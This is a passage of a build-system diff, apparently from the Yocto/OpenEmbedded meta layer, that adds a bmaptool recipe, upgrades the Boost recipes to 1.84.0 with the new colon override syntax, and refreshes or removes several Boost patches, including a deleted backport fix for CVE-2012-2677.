-RDEPENDS_${PN} = "python3-core python3-compression python3-mmap python3-setuptools python3-fcntl python3-six"
-
-inherit python3native
-inherit setuptools3
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/bmaptool/bmaptool_git.bb b/meta/recipes-support/bmaptool/bmaptool_git.bb
new file mode 100644
index 0000000000..fd53c21c06
--- /dev/null
+++ b/meta/recipes-support/bmaptool/bmaptool_git.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Tools to generate block map (AKA bmap) and flash images using bmap"
+DESCRIPTION = "bmaptool - tools to generate block map (AKA bmap) and flash images using \
+bmap. bmaptool is a generic tool for creating the block map (bmap) for a file, \
+and copying files using the block map. The idea is that large file containing \
+unused blocks, like raw system image files, can be copied or flashed a lot \
+faster with bmaptool than with traditional tools like "dd" or "cp"."
+HOMEPAGE = "https://github.com/yoctoproject/bmaptool"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/yoctoproject/${BPN};branch=main;protocol=https"
+SRCREV = "2ff5750b8a3e0b36a9993c20e2ea10a07bc62085"
+S = "${WORKDIR}/git"
+BASEVER = "3.8.0"
+PV = "${BASEVER}+git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+# Need df from coreutils
+RDEPENDS:${PN} = "python3-core python3-compression python3-misc python3-mmap python3-setuptools python3-fcntl python3-six coreutils"
+
+inherit setuptools3
+
+# For compatibility with layers before scarthgap
+RREPLACES:${PN} = "bmap-tools"
+RCONFLICTS:${PN} = "bmap-tools"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/boost/bjam-native_1.73.0.bb b/meta/recipes-support/boost/bjam-native_1.73.0.bb
deleted file mode 100644
index d843eb038c..0000000000
--- a/meta/recipes-support/boost/bjam-native_1.73.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require boost-${PV}.inc
-
-SUMMARY = "Portable Boost.Jam build tool for boost"
-SECTION = "devel"
-
-inherit native
-
-SRC_URI += "file://0001-Build-debug-version-of-bjam.patch \
- file://0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch \
- "
-
-do_compile() {
- ./bootstrap.sh --with-toolset=gcc
-}
-
-do_install() {
- install -d ${D}${bindir}/
- # install unstripped version for bjam
- install -c -m 755 b2 ${D}${bindir}/bjam
-}
diff --git a/meta/recipes-support/boost/boost-1.73.0.inc b/meta/recipes-support/boost/boost-1.73.0.inc
deleted file mode 100644
index b574757199..0000000000
--- a/meta/recipes-support/boost/boost-1.73.0.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-# The Boost web site provides free peer-reviewed portable
-# C++ source libraries. The emphasis is on libraries which
-# work well with the C++ Standard Library. The libraries are
-# intended to be widely useful, and are in regular use by
-# thousands of programmers across a broad spectrum of applications.
-HOMEPAGE = "http://www.boost.org/"
-LICENSE = "BSL-1.0 & MIT & Python-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE_1_0.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
-
-BOOST_VER = "${@"_".join(d.getVar("PV").split("."))}"
-BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}"
-BOOST_P = "boost_${BOOST_VER}"
-
-SRC_URI = "https://dl.bintray.com/boostorg/release/${PV}/source/${BOOST_P}.tar.bz2"
-SRC_URI[md5sum] = "9273c8c4576423562bbe84574b07b2bd"
-SRC_URI[sha256sum] = "4eb3b8d442b426dc35346235c8733b5ae35ba431690e38c6a8263dce9fcbb402"
-
-UPSTREAM_CHECK_URI = "http://www.boost.org/users/download/"
-UPSTREAM_CHECK_REGEX = "boostorg/release/(?P<pver>.*)/source/"
-
-S = "${WORKDIR}/${BOOST_P}"
diff --git a/meta/recipes-support/boost/boost-1.84.0.inc b/meta/recipes-support/boost/boost-1.84.0.inc
new file mode 100644
index 0000000000..5bbea2ba5b
--- /dev/null
+++ b/meta/recipes-support/boost/boost-1.84.0.inc
@@ -0,0 +1,20 @@
+# The Boost web site provides free peer-reviewed portable
+# C++ source libraries. The emphasis is on libraries which
+# work well with the C++ Standard Library. The libraries are
+# intended to be widely useful, and are in regular use by
+# thousands of programmers across a broad spectrum of applications.
+HOMEPAGE = "http://www.boost.org/"
+LICENSE = "BSL-1.0 & MIT & Python-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE_1_0.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
+
+BOOST_VER = "${@"_".join(d.getVar("PV").split("."))}"
+BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}"
+BOOST_P = "boost_${BOOST_VER}"
+
+SRC_URI = "https://boostorg.jfrog.io/artifactory/main/release/${PV}/source/${BOOST_P}.tar.bz2"
+SRC_URI[sha256sum] = "cc4b893acf645c9d4b698e9a0f08ca8846aa5d6c68275c14c3e7949c24109454"
+
+UPSTREAM_CHECK_URI = "http://www.boost.org/users/download/"
+UPSTREAM_CHECK_REGEX = "release/(?P<pver>.*)/source/"
+
+S = "${WORKDIR}/${BOOST_P}"
diff --git a/meta/recipes-support/boost/boost-build-native_1.84.0.bb b/meta/recipes-support/boost/boost-build-native_1.84.0.bb
new file mode 100644
index 0000000000..a345bac499
--- /dev/null
+++ b/meta/recipes-support/boost/boost-build-native_1.84.0.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Boost.Build"
+DESCRIPTION = "B2 makes it easy to build C++ projects, everywhere."
+HOMEPAGE = "https://github.com/boostorg/build"
+SECTION = "devel"
+
+LICENSE = "BSL-1.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
+
+SRC_URI = "git://github.com/boostorg/build;protocol=https;branch=master"
+SRCREV = "8d86b9a85407d73d6e8c631771f18c2a237d2d71"
+PE = "1"
+
+UPSTREAM_CHECK_GITTAGREGEX = "boost-(?P<pver>(\d+(\.\d+)+))"
+
+inherit native
+
+S = "${WORKDIR}/git"
+
+do_compile() {
+ ./bootstrap.sh
+}
+
+do_install() {
+ HOME=/var/run ./b2 install --prefix=${prefix} staging-prefix=${D}${prefix}
+}
+
+# The build is either release mode (pre-stripped) or debug (-O0).
+INSANE_SKIP:${PN} = "already-stripped"
diff --git a/meta/recipes-support/boost/boost.inc b/meta/recipes-support/boost/boost.inc
index ca140d595f..77105aa1fa 100644
--- a/meta/recipes-support/boost/boost.inc
+++ b/meta/recipes-support/boost/boost.inc
@@ -1,22 +1,34 @@
SUMMARY = "Free peer-reviewed portable C++ source libraries"
+DESCRIPTION = "Provides free peer-reviewed portable C++ source libraries. The emphasis is on libraries which work well with the C++ \
+Standard Library. One goal is to establish 'existing practice' and \
+provide reference implementations so that the Boost libraries are suitable for eventual standardization. Some of the libraries have already been proposed for inclusion in the C++ Standards Committee's \
+upcoming C++ Standard Library Technical Report."
SECTION = "libs"
-DEPENDS = "bjam-native zlib bzip2"
+DEPENDS = "boost-build-native zlib bzip2"
CVE_PRODUCT = "boost:boost"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
BOOST_LIBS = "\
atomic \
chrono \
container \
+ context \
contract \
+ coroutine \
date_time \
exception \
+ fiber \
filesystem \
graph \
+ headers \
iostreams \
+ json \
log \
math \
program_options \
@@ -24,23 +36,14 @@ BOOST_LIBS = "\
regex \
serialization \
system \
- timer \
test \
thread \
+ timer \
+ type_erasure \
+ url \
wave \
"
-# only supported by x86 and powerpc
-BOOST_LIBS_append_x86 = " context coroutine"
-BOOST_LIBS_append_x86-64 = " context coroutine"
-BOOST_LIBS_append_powerpc = " context coroutine"
-BOOST_LIBS_append_arm = " context coroutine"
-BOOST_LIBS_append_aarch64 = " context coroutine"
-# need consistent settings for native builds (x86 override not applied for native)
-BOOST_LIBS_remove_class-native = " context coroutine"
-# does not compile
-BOOST_LIBS_remove_mips16e = "wave"
-
# optional libraries
PACKAGECONFIG ??= "locale python"
PACKAGECONFIG[locale] = ",,icu"
@@ -62,40 +65,43 @@ PACKAGES = "${PN}-dbg ${BOOST_PACKAGES}"
python __anonymous () {
packages = []
extras = []
+ pn = d.getVar("PN")
mlprefix = d.getVar("MLPREFIX")
for lib in d.getVar('BOOST_LIBS').split():
extras.append("--with-%s" % lib)
pkg = "boost-%s" % (lib.replace("_", "-"))
+ if "-native" in pn:
+ pkg = pkg + "-native"
packages.append(mlprefix + pkg)
- if not d.getVar("FILES_%s" % pkg):
- d.setVar("FILES_%s%s" % (mlprefix, pkg), "${libdir}/libboost_%s*.so.*" % lib)
+ if not d.getVar("FILES:%s" % pkg):
+ d.setVar("FILES:%s%s" % (mlprefix, pkg), "${libdir}/libboost_%s*.so.*" % lib)
else:
- d.setVar("FILES_%s%s" % (mlprefix, pkg), d.getVar("FILES_%s" % pkg))
+ d.setVar("FILES:%s%s" % (mlprefix, pkg), d.getVar("FILES:%s" % pkg))
d.setVar("BOOST_PACKAGES", " ".join(packages))
d.setVar("BJAM_EXTRA", " ".join(extras))
}
# Override the contents of specific packages
-FILES_${PN}-graph_parallel = "${libdir}/libboost_graph_parallel.so.*"
-FILES_${PN}-locale = "${libdir}/libboost_locale.so.*"
-FILES_${PN}-mpi = "${libdir}/mpi.so ${libdir}/libboost_mpi*.so.*"
-FILES_boost-serialization = "${libdir}/libboost_serialization*.so.* \
+FILES:${PN}-graph_parallel = "${libdir}/libboost_graph_parallel.so.*"
+FILES:${PN}-locale = "${libdir}/libboost_locale.so.*"
+FILES:${PN}-mpi = "${libdir}/mpi.so ${libdir}/libboost_mpi*.so.*"
+FILES:boost-serialization = "${libdir}/libboost_serialization*.so.* \
${libdir}/libboost_wserialization*.so.*"
-FILES_boost-test = "${libdir}/libboost_prg_exec_monitor*.so.* \
+FILES:boost-test = "${libdir}/libboost_prg_exec_monitor*.so.* \
${libdir}/libboost_unit_test_framework*.so.*"
# -dev last to pick up the remaining stuff
PACKAGES += "${PN}-dev ${PN}-staticdev"
-FILES_${PN}-dev = "${includedir} ${libdir}/libboost_*.so ${libdir}/cmake"
-FILES_${PN}-staticdev = "${libdir}/libboost_*.a"
+FILES:${PN}-dev = "${includedir} ${libdir}/libboost_*.so ${libdir}/cmake"
+FILES:${PN}-staticdev = "${libdir}/libboost_*.a"
# "boost" is a metapackage which pulls in all boost librabries
PACKAGES += "${PN}"
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
-RRECOMMENDS_${PN} += "${BOOST_PACKAGES}"
-RRECOMMENDS_${PN}_class-native = ""
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
+RRECOMMENDS:${PN} += "${BOOST_PACKAGES}"
+RRECOMMENDS:${PN}:class-native = ""
# to avoid GNU_HASH QA errors added LDFLAGS to ARCH; a little bit dirty but at least it works
TARGET_CC_ARCH += "${LDFLAGS}"
@@ -146,26 +152,28 @@ BOOST_PARALLEL_MAKE = "${@oe.utils.parallel_make_argument(d, '-j%d')}"
BJAM_OPTS = '${BOOST_PARALLEL_MAKE} -d+2 -q \
${BJAM_TOOLS} \
-sBOOST_BUILD_USER_CONFIG=${WORKDIR}/user-config.jam \
- --build-dir=${S}/${TARGET_SYS} \
+ -sICU_PATH=${STAGING_EXECPREFIXDIR} \
+ --build-dir=${B} \
--disable-icu \
${BJAM_EXTRA}'
# Native compilation of bzip2 isn't working
-BJAM_OPTS_append_class-native = ' -sNO_BZIP2=1'
+BJAM_OPTS:append:class-native = ' -sNO_BZIP2=1'
# Adjust the build for x32
-BJAM_OPTS_append_x86-x32 = " abi=x32 address-model=64"
+BJAM_OPTS:append:x86-x32 = " abi=x32 address-model=64"
# cross compiling for arm fails to detect abi, so provide some help
-BJAM_OPTS_append_arm = " abi=aapcs architecture=arm"
-BJAM_OPTS_append_aarch64 = " abi=aapcs address-model=64 architecture=arm"
+BJAM_OPTS:append:arm = " abi=aapcs architecture=arm"
+BJAM_OPTS:append:aarch64 = " abi=aapcs address-model=64 architecture=arm"
do_configure() {
+ cd ${S}
cp -f ${S}/boost/config/platform/linux.hpp ${S}/boost/config/platform/linux-gnueabi.hpp
# D2194:Fixing the failure of "error: duplicate initialization of gcc with the following parameters" during compilation.
rm -f ${WORKDIR}/user-config.jam
- echo 'using gcc : 4.3.1 : ${CXX} : <cflags>"${CFLAGS}" <cxxflags>"${CXXFLAGS}" <linkflags>"${LDFLAGS}" ;' >> ${WORKDIR}/user-config.jam
+ echo 'using gcc : : ${CXX} : <cflags>"${CFLAGS}" <cxxflags>"${CXXFLAGS}" <linkflags>"${LDFLAGS}" ;' >> ${WORKDIR}/user-config.jam
# If we want Python then we need to tell Boost *exactly* where to find it
if ${@bb.utils.contains('BOOST_LIBS', 'python', 'true', 'false', d)}; then
@@ -176,7 +184,7 @@ do_configure() {
echo "using mpi : : <find-shared-library>mpi ;" >> ${WORKDIR}/user-config.jam
fi
- CC="${BUILD_CC}" CFLAGS="${BUILD_CFLAGS}" ./bootstrap.sh --with-bjam=bjam --with-toolset=gcc
+ CC="${BUILD_CC}" CFLAGS="${BUILD_CFLAGS}" ./bootstrap.sh --with-bjam=b2 --with-toolset=gcc
# Boost can't be trusted to find Python on it's own, so remove any mention
# of it from the boost configuration
@@ -184,8 +192,9 @@ do_configure() {
}
do_compile() {
- rm -rf ${S}/${TARGET_SYS}
- bjam ${BJAM_OPTS} --prefix=${prefix} \
+ cd ${S}
+ b2 ${BJAM_OPTS} \
+ --prefix=${prefix} \
--exec-prefix=${exec_prefix} \
--libdir=${libdir} \
--includedir=${includedir} \
@@ -193,7 +202,8 @@ do_compile() {
}
do_install() {
- bjam ${BJAM_OPTS} \
+ cd ${S}
+ b2 ${BJAM_OPTS} \
--libdir=${D}${libdir} \
--includedir=${D}${includedir} \
install
diff --git a/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch b/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch
deleted file mode 100644
index 169906344f..0000000000
--- a/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 8845a786598f1d9e83aa1b7d2966b0d1eb765ba0 Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 13 Dec 2016 10:14:31 -0700
-Subject: [PATCH 1/3] Apply boost-1.62.0-no-forced-flags.patch
-
-Upstream-Status: Inappropriate
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
----
- libs/log/build/Jamfile.v2 | 4 ++--
- libs/log/config/x86-ext/Jamfile.jam | 16 ++++++++--------
- libs/log/src/dump_avx2.cpp | 4 ++++
- libs/log/src/dump_ssse3.cpp | 4 ++++
- 4 files changed, 18 insertions(+), 10 deletions(-)
-
-diff --git a/libs/log/build/Jamfile.v2 b/libs/log/build/Jamfile.v2
-index 4abbdbc..b3016fc 100644
---- a/libs/log/build/Jamfile.v2
-+++ b/libs/log/build/Jamfile.v2
-@@ -373,7 +373,7 @@ rule avx2-targets-cond ( properties * )
- }
- else if <toolset>clang in $(properties)
- {
-- result = <cxxflags>"-mavx -mavx2" ;
-+ result = <cxxflags> ;
- }
- else if <toolset>intel in $(properties)
- {
-@@ -383,7 +383,7 @@ rule avx2-targets-cond ( properties * )
- }
- else
- {
-- result = <cxxflags>"-xCORE-AVX2 -fabi-version=0" ;
-+ result = <cxxflags>"-fabi-version=0" ;
- }
- }
- else if <toolset>msvc in $(properties)
-diff --git a/libs/log/config/x86-ext/Jamfile.jam b/libs/log/config/x86-ext/Jamfile.jam
-index 0e9695a..dcc394d 100644
---- a/libs/log/config/x86-ext/Jamfile.jam
-+++ b/libs/log/config/x86-ext/Jamfile.jam
-@@ -15,19 +15,19 @@ project /boost/log/x86-extensions
-
- obj ssse3 : ssse3.cpp
- :
-- <toolset>gcc:<cxxflags>"-msse -msse2 -msse3 -mssse3"
-- <toolset>clang:<cxxflags>"-msse -msse2 -msse3 -mssse3"
-- <toolset>intel-linux:<cxxflags>"-xSSSE3"
-- <toolset>intel-darwin:<cxxflags>"-xSSSE3"
-+ <toolset>gcc:<cxxflags>
-+ <toolset>clang:<cxxflags>
-+ <toolset>intel-linux:<cxxflags>
-+ <toolset>intel-darwin:<cxxflags>
- <toolset>intel-win:<cxxflags>"/QxSSSE3"
- ;
-
- obj avx2 : avx2.cpp
- :
-- <toolset>gcc:<cxxflags>"-mavx -mavx2 -fabi-version=0"
-- <toolset>clang:<cxxflags>"-mavx -mavx2"
-- <toolset>intel-linux:<cxxflags>"-xCORE-AVX2 -fabi-version=0"
-- <toolset>intel-darwin:<cxxflags>"-xCORE-AVX2 -fabi-version=0"
-+ <toolset>gcc:<cxxflags>"-fabi-version=0"
-+ <toolset>clang:<cxxflags>
-+ <toolset>intel-linux:<cxxflags>"-fabi-version=0"
-+ <toolset>intel-darwin:<cxxflags>"-fabi-version=0"
- <toolset>intel-win:<cxxflags>"/arch:CORE-AVX2"
- <toolset>msvc:<cxxflags>"/arch:AVX"
- ;
-diff --git a/libs/log/src/dump_avx2.cpp b/libs/log/src/dump_avx2.cpp
-index 4ab1250..610fc6d 100644
---- a/libs/log/src/dump_avx2.cpp
-+++ b/libs/log/src/dump_avx2.cpp
-@@ -22,6 +22,10 @@
- #include <boost/cstdint.hpp>
- #include <boost/log/detail/header.hpp>
-
-+#if !defined(__AVX2__)
-+#error "AVX2 Unsupported!"
-+#endif
-+
- #if defined(__x86_64) || defined(__x86_64__) || \
- defined(__amd64__) || defined(__amd64) || \
- defined(_M_X64)
-diff --git a/libs/log/src/dump_ssse3.cpp b/libs/log/src/dump_ssse3.cpp
-index 1325b49..60d4112 100644
---- a/libs/log/src/dump_ssse3.cpp
-+++ b/libs/log/src/dump_ssse3.cpp
-@@ -22,6 +22,10 @@
- #include <boost/cstdint.hpp>
- #include <boost/log/detail/header.hpp>
-
-+#if !defined(__SSSE3__)
-+#error "SSSE3 Unsupported!"
-+#endif
-+
- #if defined(__x86_64) || defined(__x86_64__) || \
- defined(__amd64__) || defined(__amd64) || \
- defined(_M_X64)
---
-2.8.0
diff --git a/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch b/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
index 7c6b62e383..9ba5d5cc33 100644
--- a/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
+++ b/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
@@ -1,22 +1,22 @@
-From f4d3fad43d67808d71325ba0df1457555b9a0086 Mon Sep 17 00:00:00 2001
+From 18185e939ca121335a6172c8e50872af8122a759 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 18 Dec 2018 15:42:57 +0100
Subject: [PATCH] Don't set up arch/instruction-set flags, we do that
+
ourselves
Upstream-Status: Inappropriate
Signed-off-by: Christopher Larson <chris_larson@mentor.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
- tools/build/src/tools/gcc.jam | 133 ----------------------------------
- 1 file changed, 133 deletions(-)
+ tools/build/src/tools/gcc.jam | 153 ----------------------------------
+ 1 file changed, 153 deletions(-)
diff --git a/tools/build/src/tools/gcc.jam b/tools/build/src/tools/gcc.jam
-index 8910a55f2..ed7e7b20c 100644
+index 834f5e1bf..493a43e6d 100644
--- a/tools/build/src/tools/gcc.jam
+++ b/tools/build/src/tools/gcc.jam
-@@ -1195,136 +1195,3 @@ local rule cpu-flags ( toolset variable : architecture : instruction-set + :
+@@ -1113,156 +1113,3 @@ local rule cpu-flags ( toolset variable : architecture : instruction-set + :
<architecture>$(architecture)/<instruction-set>$(instruction-set)
: $(values) ;
}
@@ -66,7 +66,14 @@ index 8910a55f2..ed7e7b20c 100644
-cpu-flags gcc OPTIONS : x86 : skylake : -march=skylake ;
-cpu-flags gcc OPTIONS : x86 : skylake-avx512 : -march=skylake-avx512 ;
-cpu-flags gcc OPTIONS : x86 : cannonlake : -march=skylake-avx512 -mavx512vbmi -mavx512ifma -msha ;
--cpu-flags gcc OPTIONS : x86 : icelake : -march=icelake ;
+-cpu-flags gcc OPTIONS : x86 : icelake-client : -march=icelake-client ;
+-cpu-flags gcc OPTIONS : x86 : icelake-server : -march=icelake-server ;
+-cpu-flags gcc OPTIONS : x86 : cascadelake : -march=skylake-avx512 -mavx512vnni ;
+-cpu-flags gcc OPTIONS : x86 : cooperlake : -march=cooperlake ;
+-cpu-flags gcc OPTIONS : x86 : tigerlake : -march=tigerlake ;
+-cpu-flags gcc OPTIONS : x86 : rocketlake : -march=rocketlake ;
+-cpu-flags gcc OPTIONS : x86 : alderlake : -march=alderlake ;
+-cpu-flags gcc OPTIONS : x86 : sapphirerapids : -march=sapphirerapids ;
-cpu-flags gcc OPTIONS : x86 : k6 : -march=k6 ;
-cpu-flags gcc OPTIONS : x86 : k6-2 : -march=k6-2 ;
-cpu-flags gcc OPTIONS : x86 : k6-3 : -march=k6-3 ;
@@ -92,10 +99,13 @@ index 8910a55f2..ed7e7b20c 100644
-cpu-flags gcc OPTIONS : x86 : btver1 : -march=btver1 ;
-cpu-flags gcc OPTIONS : x86 : btver2 : -march=btver2 ;
-cpu-flags gcc OPTIONS : x86 : znver1 : -march=znver1 ;
+-cpu-flags gcc OPTIONS : x86 : znver2 : -march=znver2 ;
+-cpu-flags gcc OPTIONS : x86 : znver3 : -march=znver3 ;
-cpu-flags gcc OPTIONS : x86 : winchip-c6 : -march=winchip-c6 ;
-cpu-flags gcc OPTIONS : x86 : winchip2 : -march=winchip2 ;
-cpu-flags gcc OPTIONS : x86 : c3 : -march=c3 ;
-cpu-flags gcc OPTIONS : x86 : c3-2 : -march=c3-2 ;
+-cpu-flags gcc OPTIONS : x86 : c7 : -march=c7 ;
-##
-cpu-flags gcc OPTIONS : x86 : atom : -march=atom ;
-# Sparc
@@ -151,8 +161,15 @@ index 8910a55f2..ed7e7b20c 100644
-cpu-flags gcc OPTIONS : s390x : z13 : -march=z13 ;
-cpu-flags gcc OPTIONS : s390x : z14 : -march=z14 ;
-cpu-flags gcc OPTIONS : s390x : z15 : -march=z15 ;
+-# ARM
+-cpu-flags gcc OPTIONS : arm : cortex-a9+vfpv3 : -mcpu=cortex-a9 -mfpu=vfpv3 -mfloat-abi=hard ;
+-cpu-flags gcc OPTIONS : arm : cortex-a53 : -mcpu=cortex-a53 ;
+-cpu-flags gcc OPTIONS : arm : cortex-r5 : -mcpu=cortex-r5 ;
+-cpu-flags gcc OPTIONS : arm : cortex-r5+vfpv3-d16 : -mcpu=cortex-r5 -mfpu=vfpv3-d16 -mfloat-abi=hard ;
-# AIX variant of RS/6000 & PowerPC
-toolset.flags gcc AROPTIONS <address-model>64/<target-os>aix : "-X64" ;
---
-2.17.1
-
+-
+-# Enable response file control
+-toolset.flags gcc RESPONSE_FILE_SUB <response-file>auto : a ;
+-toolset.flags gcc RESPONSE_FILE_SUB <response-file>file : f ;
+-toolset.flags gcc RESPONSE_FILE_SUB <response-file>contents : c ;
diff --git a/meta/recipes-support/boost/boost/0001-Make-index-detail-rtree-visitors-insert-base-class-p.patch b/meta/recipes-support/boost/boost/0001-Make-index-detail-rtree-visitors-insert-base-class-p.patch
deleted file mode 100644
index 1edad329ca..0000000000
--- a/meta/recipes-support/boost/boost/0001-Make-index-detail-rtree-visitors-insert-base-class-p.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From aafbceccc76dccb75963dd4f596fd1f10ee34b03 Mon Sep 17 00:00:00 2001
-From: Jonathan Wakely <boost@kayari.org>
-Date: Fri, 5 Jun 2020 19:29:27 +0100
-Subject: [PATCH] Make index::detail::rtree::visitors::insert base class public
-
-Fixes #721
-
-Upstream-Status: Backport [https://github.com/boostorg/geometry/commit/aafbceccc76dccb75963dd4f596fd1f10ee34b03]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- boost/geometry/index/detail/rtree/visitors/insert.hpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/boost/geometry/index/detail/rtree/visitors/insert.hpp b/boost/geometry/index/detail/rtree/visitors/insert.hpp
-index 2d324cb7f..5709a930c 100644
---- a/boost/geometry/index/detail/rtree/visitors/insert.hpp
-+++ b/boost/geometry/index/detail/rtree/visitors/insert.hpp
-@@ -265,7 +265,7 @@ struct insert_traverse_data
- // Default insert visitor
- template <typename Element, typename MembersHolder>
- class insert
-- : MembersHolder::visitor
-+ : public MembersHolder::visitor
- {
- protected:
- typedef typename MembersHolder::box_type box_type;
---
-2.26.2
-
diff --git a/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch b/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch
index 78b19225d4..913810a340 100644
--- a/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch
+++ b/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch
@@ -1,4 +1,4 @@
-From 59402e3a61d14eb7ce8c2019ea1a87ad4bd28605 Mon Sep 17 00:00:00 2001
+From bbb0845c0a79238fb2e84cca41826a0944b6ce7e Mon Sep 17 00:00:00 2001
From: Anuj Mittal <anuj.mittal@intel.com>
Date: Thu, 14 Nov 2019 10:13:53 +0800
Subject: [PATCH] dont setup compiler flags -m32/-m64
@@ -13,13 +13,14 @@ Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
1 file changed, 14 deletions(-)
diff --git a/tools/build/src/tools/gcc.jam b/tools/build/src/tools/gcc.jam
-index c7e3cf3..24486e0 100644
+index 493a43e6d..42dccbdfe 100644
--- a/tools/build/src/tools/gcc.jam
+++ b/tools/build/src/tools/gcc.jam
-@@ -430,20 +430,6 @@ local rule compile-link-flags ( * )
+@@ -360,20 +360,6 @@ local rule compile-link-flags ( * )
+ compile-link-flags <link>shared/<target-os>$(non-windows) : -fPIC ;
}
- {
+-{
- # Handle address-model
- compile-link-flags <target-os>aix/<address-model>32 : -maix32 ;
- compile-link-flags <target-os>aix/<address-model>64 : -maix64 ;
@@ -33,10 +34,6 @@ index c7e3cf3..24486e0 100644
- compile-link-flags <target-os>$(generic-os)/<architecture>$(arch)/<address-model>64 : -m64 ;
-}
-
--{
+ {
# Handle threading
local rule threading-flags ( * )
- {
---
-2.7.4
-
diff --git a/meta/recipes-support/boost/boost/arm-intrinsics.patch b/meta/recipes-support/boost/boost/arm-intrinsics.patch
deleted file mode 100644
index fe85c69a82..0000000000
--- a/meta/recipes-support/boost/boost/arm-intrinsics.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-Upstream-Status: Backport
-
-8/17/2010 - rebased to 1.44 by Qing He <qing.he@intel.com>
-
-diff --git a/boost/smart_ptr/detail/atomic_count_sync.hpp b/boost/smart_ptr/detail/atomic_count_sync.hpp
-index b6359b5..78b1cc2 100644
---- a/boost/smart_ptr/detail/atomic_count_sync.hpp
-+++ b/boost/smart_ptr/detail/atomic_count_sync.hpp
-@@ -33,17 +33,46 @@ public:
-
- long operator++()
- {
-+#ifdef __ARM_ARCH_7A__
-+ int v1, tmp;
-+ asm volatile ("1: \n\t"
-+ "ldrex %0, %1 \n\t"
-+ "add %0 ,%0, #1 \n\t"
-+ "strex %2, %0, %1 \n\t"
-+ "cmp %2, #0 \n\t"
-+ "bne 1b \n\t"
-+ : "=&r" (v1), "+Q"(value_), "=&r"(tmp)
-+ );
-+#else
- return __sync_add_and_fetch( &value_, 1 );
-+#endif
- }
-
- long operator--()
- {
-+#ifdef __ARM_ARCH_7A__
-+ int v1, tmp;
-+ asm volatile ("1: \n\t"
-+ "ldrex %0, %1 \n\t"
-+ "sub %0 ,%0, #1 \n\t"
-+ "strex %2, %0, %1 \n\t"
-+ "cmp %2, #0 \n\t"
-+ "bne 1b \n\t"
-+ : "=&r" (v1), "+Q"(value_), "=&r"(tmp)
-+ );
-+ return value_;
-+#else
- return __sync_add_and_fetch( &value_, -1 );
-+#endif
- }
-
- operator long() const
- {
-+#if __ARM_ARCH_7A__
-+ return value_;
-+#else
- return __sync_fetch_and_add( &value_, 0 );
-+#endif
- }
-
- private:
diff --git a/meta/recipes-support/boost/boost/boost-CVE-2012-2677.patch b/meta/recipes-support/boost/boost/boost-CVE-2012-2677.patch
deleted file mode 100644
index 917617a044..0000000000
--- a/meta/recipes-support/boost/boost/boost-CVE-2012-2677.patch
+++ /dev/null
@@ -1,112 +0,0 @@
-Reference
-
-https://svn.boost.org/trac/boost/changeset/78326
-
-Upstream-Status: Backport
-CVE: CVE-2012-2677
-Signed-off-by: Yue Tao <yue.tao@windriver.com>
-
-diff --git a/boost/pool/pool.hpp.old b/boost/pool/pool.hpp
-index c47b11f..417a1e0 100644
---- a/boost/pool/pool.hpp.old
-+++ b/boost/pool/pool.hpp
-@@ -26,6 +26,8 @@
-
- #include <boost/pool/poolfwd.hpp>
-
-+// std::numeric_limits
-+#include <boost/limits.hpp>
- // boost::integer::static_lcm
- #include <boost/integer/common_factor_ct.hpp>
- // boost::simple_segregated_storage
-@@ -355,6 +357,15 @@ class pool: protected simple_segregated_storage < typename UserAllocator::size_t
- return s;
- }
-
-+ size_type max_chunks() const
-+ { //! Calculated maximum number of memory chunks that can be allocated in a single call by this Pool.
-+ size_type partition_size = alloc_size();
